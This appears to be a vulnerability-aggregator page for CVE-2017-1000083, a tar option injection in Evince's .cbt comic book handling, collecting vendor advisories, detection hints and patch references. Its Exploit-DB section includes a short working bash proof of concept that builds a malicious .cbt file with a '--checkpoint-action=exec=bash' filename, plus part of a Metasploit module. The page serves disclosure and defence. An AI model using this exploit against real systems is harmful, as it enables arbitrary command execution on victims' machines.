CVE-2017-1000083
published 2017-09-05CVE-2017-1000083: backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt…
PriorityP265high7.8CVSS 3.0
AVLACLPRNUIRSUCHIHAH
EXPLOIT
EPSS
50.83%
98.8th percentile
backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a "--" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.
Affected
26 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | atril | < atril 1.16.1-2.1 (bookworm) | atril 1.16.1-2.1 (bookworm) |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | evince | < atril 1.16.1-2.1 (bookworm) | atril 1.16.1-2.1 (bookworm) |
| gnome | evince | <= 3.24.0 | — |
| gnome | evince | >= 0 < 3.22.1-4 | 3.22.1-4 |
| gnome | evince | >= 0 < 3.22.1-4 | 3.22.1-4 |
| gnome | evince | >= 0 < 3.22.1-4 | 3.22.1-4 |
| gnome | evince | >= 0 < 3.22.1-4 | 3.22.1-4 |
| mate-desktop | atril | >= 0 < 1.16.1-2.1 | 1.16.1-2.1 |
| mate-desktop | atril | >= 0 < 1.16.1-2.1 | 1.16.1-2.1 |
| mate-desktop | atril | >= 0 < 1.16.1-2.1 | 1.16.1-2.1 |
| mate-desktop | atril | >= 0 < 1.16.1-2.1 | 1.16.1-2.1 |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server_aus | — | — |
| redhat | enterprise_linux_server_aus | — | — |
| redhat | enterprise_linux_server_eus | — | — |
| redhat | enterprise_linux_server_eus | — | — |
| redhat | enterprise_linux_server_eus | — | — |
| redhat | enterprise_linux_server_tus | — | — |
| redhat | enterprise_linux_server_tus | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect TAR/CBT archives containing filenames that begin with '--' (double-dash), particularly entries matching '--checkpoint-action=exec=' which indicate tar option injection. ↗
- →Monitor evince and evince-thumbnailer process execution for child processes spawned via bash or netcat, especially when triggered by opening .cbt files — exploitation can occur without user interaction via thumbnailer preview in Nautilus or Atril. ↗
- →Alert on evince-thumbnailer spawning unexpected child processes; SELinux enforcing mode only partially restricts this attack surface. ↗
- →Payload space inside the malicious filename is constrained to under 256 bytes (tar max path) and 100 bytes per filename component; reverse bash and reverse netcat payloads are the expected delivery mechanisms. ↗
- →The malicious tar archive pads a second file to 1+ MB to trigger the tar checkpoint action; look for .cbt files containing one very small file (the malicious filename entry) alongside a large random-data file. ↗
- ·The Ubuntu security update disables CBT file support entirely in Evince rather than sanitizing the filename; detection of .cbt file opening in patched versions is therefore moot on updated systems. ↗
- ·Red Hat Enterprise Linux 5 and 6 are listed as not affected; focus detection efforts on RHEL 7+ and Debian/Ubuntu systems running Evince before 3.24.1. ↗
- ·SELinux in enforcing mode only partially mitigates the attack; it does not fully prevent exploitation via evince-thumbnailer. ↗
CVSS provenance
nvdv3.07.8HIGHCVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv7.8HIGH
vendor_debian7.8HIGH
vendor_redhat7.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Evince vulnerability
vendor_ubuntu·2017-07-13
CVE-2017-1000083 Evince vulnerability
Title: Evince vulnerability
Summary: Evince could be made run programs as your login if it opened a
specially crafted file.
Felix Wilhelm discovered that Evince did not safely invoke tar when
handling tar comic book (cbt) files. An attacker could use this to
construct a malicious cbt comic book format file that, when opened
in Evince, executes arbitrary code. Please note that this update
disables support for cbt files in Evince.
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
evince: command injection via filename in tar-compressed comics archive
vendor_redhat·2017-07-13·CVSS 7.8
CVE-2017-1000083 [HIGH] CWE-78 evince: command injection via filename in tar-compressed comics archive
evince: command injection via filename in tar-compressed comics archive
backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a "--" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.
It was found that evince did not properly sanitize the command line which is run to untar Comic Book Tar (CBT) files, thereby allowing command injection. A specially crafted CBT file, when opened by evince or evince-thumbnailer, could execute arbitrary commands in the context of the evince program.
Mitigation: - Disabling evince-thumbnailer to render icons will reduce the attack
Debian
CVE-2017-1000083: atril - backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince be...
vendor_debian·2017·CVSS 7.8
CVE-2017-1000083 [HIGH] CVE-2017-1000083: atril - backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince be...
backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a "--" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.
Scope: local
bookworm: resolved (fixed in 1.16.1-2.1)
bullseye: resolved (fixed in 1.16.1-2.1)
forky: resolved (fixed in 1.16.1-2.1)
sid: resolved (fixed in 1.16.1-2.1)
trixie: resolved (fixed in 1.16.1-2.1)
GHSA
GHSA-c796-cmwx-5c79: backend/comics/comics-document
ghsa_unreviewed·2022-05-13
CVE-2017-1000083 [HIGH] GHSA-c796-cmwx-5c79: backend/comics/comics-document
backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a "--" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.
OSV
CVE-2017-1000083: backend/comics/comics-document
osv·2017-09-05·CVSS 7.8
CVE-2017-1000083 [HIGH] CVE-2017-1000083: backend/comics/comics-document
backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to execute arbitrary commands via a .cbt file that is a TAR archive containing a filename beginning with a "--" command-line option substring, as demonstrated by a --checkpoint-action=exec=bash at the beginning of the filename.
No detection rules found.
Exploit-DB
Evince - CBT File Command Injection (Metasploit)
exploitdb·2019-02-11
CVE-2017-1000083 Evince - CBT File Command Injection (Metasploit)
Evince - CBT File Command Injection (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule 'Evince CBT File Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Evince
before version 3.24.1 when opening comic book `.cbt` files.
Some file manager software, such as Nautilus and Atril, may allow
automatic exploitation without user interaction due to thumbnailer
preview functionality.
Note that limited space is available for the payload ( MSF_LICENSE,
'Author' =>
[
'Felix Wilhelm', # Discovery
'Sebastian Krahmer', # PoC
'Matlink', # Exploit
'bcoles' # Metasploit
],
'References' =>
[
['BID', '99597'],
['C
Exploit-DB
Evince 3.24.0 - Command Injection
exploitdb·2018-11-13·CVSS 7.8
CVE-2017-1000083 [HIGH] Evince 3.24.0 - Command Injection
Evince 3.24.0 - Command Injection
---
# Exploit Title: evince command line injection
# Date: 2017-09-05
# Exploit Author: Matlink
# Vendor Homepage: https://wiki.gnome.org/Apps/Evince
# Software Link: https://wiki.gnome.org/Apps/Evince
# Version: 3.24.0
# Tested on: Debian sid
# CVE : CVE-2017-1000083
Can be tested on docker with https://github.com/matlink/evince-cve-2017-1000083
#! /bin/bash
# define the payload
export PAYLOAD="firefox google.com"
# Create the malicious .cbt file
dd if=/dev/zero of=" --checkpoint-action=exec=bash -c '$PAYLOAD;'.jpg" bs=1 count=512000
tar cvf poc.cbt *.jpg
# Run the malicious file
evince poc.cbt
Metasploit
Evince CBT File Command Injection
metasploit
Evince CBT File Command Injection
Evince CBT File Command Injection
This module exploits a command injection vulnerability in Evince before version 3.24.1 when opening comic book `.cbt` files. Some file manager software, such as Nautilus and Atril, may allow automatic exploitation without user interaction due to thumbnailer preview functionality. Note that limited space is available for the payload (<256 bytes). Reverse Bash and Reverse Netcat payloads should be sufficiently small. This module has been tested successfully on evince versions: 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6; 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
Bugzilla
CVE-2017-1000083 evince: command injection via filename in tar-compressed comics archive [fedora-all]
bugzilla·2017-07-13·CVSS 7.8
CVE-2017-1000083 [HIGH] CVE-2017-1000083 evince: command injection via filename in tar-compressed comics archive [fedora-all]
CVE-2017-1000083 evince: command injection via filename in tar-compressed comics archive [fedora-all]
Use the following template to for the 'fedpkg update' request to submit an
update for this issue as it contains the top-level parent bug(s) as well as
this tracking bug. This will ensure that all associated bugs get updated
when new packages are pushed to stable.
# bugfix, security, enhancement, newpackage (required)
type=security
# testing, stable
request=testing
# Bug numbers: 1234,9876
bugs=1468488
# Description of your update
notes=Security fix for [PUT CVEs HERE]
# Enable request automation based on the stable/unstable karma thresholds
autokarma=True
stable_karma=3
unstable_karma=-3
# Automatically close bugs when this marked as stable
close_bugs=True
# Suggest that users res
Bugzilla
CVE-2017-1000083 evince: command injection via filename in tar-compressed comics archive
bugzilla·2017-07-07·CVSS 7.8
CVE-2017-1000083 [HIGH] CVE-2017-1000083 evince: command injection via filename in tar-compressed comics archive
CVE-2017-1000083 evince: command injection via filename in tar-compressed comics archive
Created attachment 1295228
0001-comics-Remove-support-for-tar-and-tar-like-commands.patch
From the folks at Project Zero:
"""
Hi,
The comic book backend in evince 3.24.0 is vulnerable to a command injection bug that can be used to execute arbitrary commands when a cbt file is opened:
cbt files are simple tar archives containing images. When a cbt file is processed, evince calls
"tar -xOf $archive $filename" for every image file in the archive:
// backend/comics/comics-document.c: 914
command_line = g_strdup_printf ("%s %s %s",
comics_document->extract_command,
quoted_archive,
quoted_filename);
While both the archive name and the filename are quoted to not be interpreted by the shell,
the filenam
http://seclists.org/oss-sec/2017/q3/128http://www.debian.org/security/2017/dsa-3911http://www.securityfocus.com/bid/99597https://access.redhat.com/errata/RHSA-2017:2388https://bugzilla.gnome.org/show_bug.cgi?id=784630https://github.com/GNOME/evince/commit/717df38fd8509bf883b70d680c9b1b3cf36732eehttps://www.exploit-db.com/exploits/45824/https://www.exploit-db.com/exploits/46341/http://seclists.org/oss-sec/2017/q3/128http://www.debian.org/security/2017/dsa-3911http://www.securityfocus.com/bid/99597https://access.redhat.com/errata/RHSA-2017:2388https://bugzilla.gnome.org/show_bug.cgi?id=784630https://github.com/GNOME/evince/commit/717df38fd8509bf883b70d680c9b1b3cf36732eehttps://www.exploit-db.com/exploits/45824/https://www.exploit-db.com/exploits/46341/
2017-09-05
Published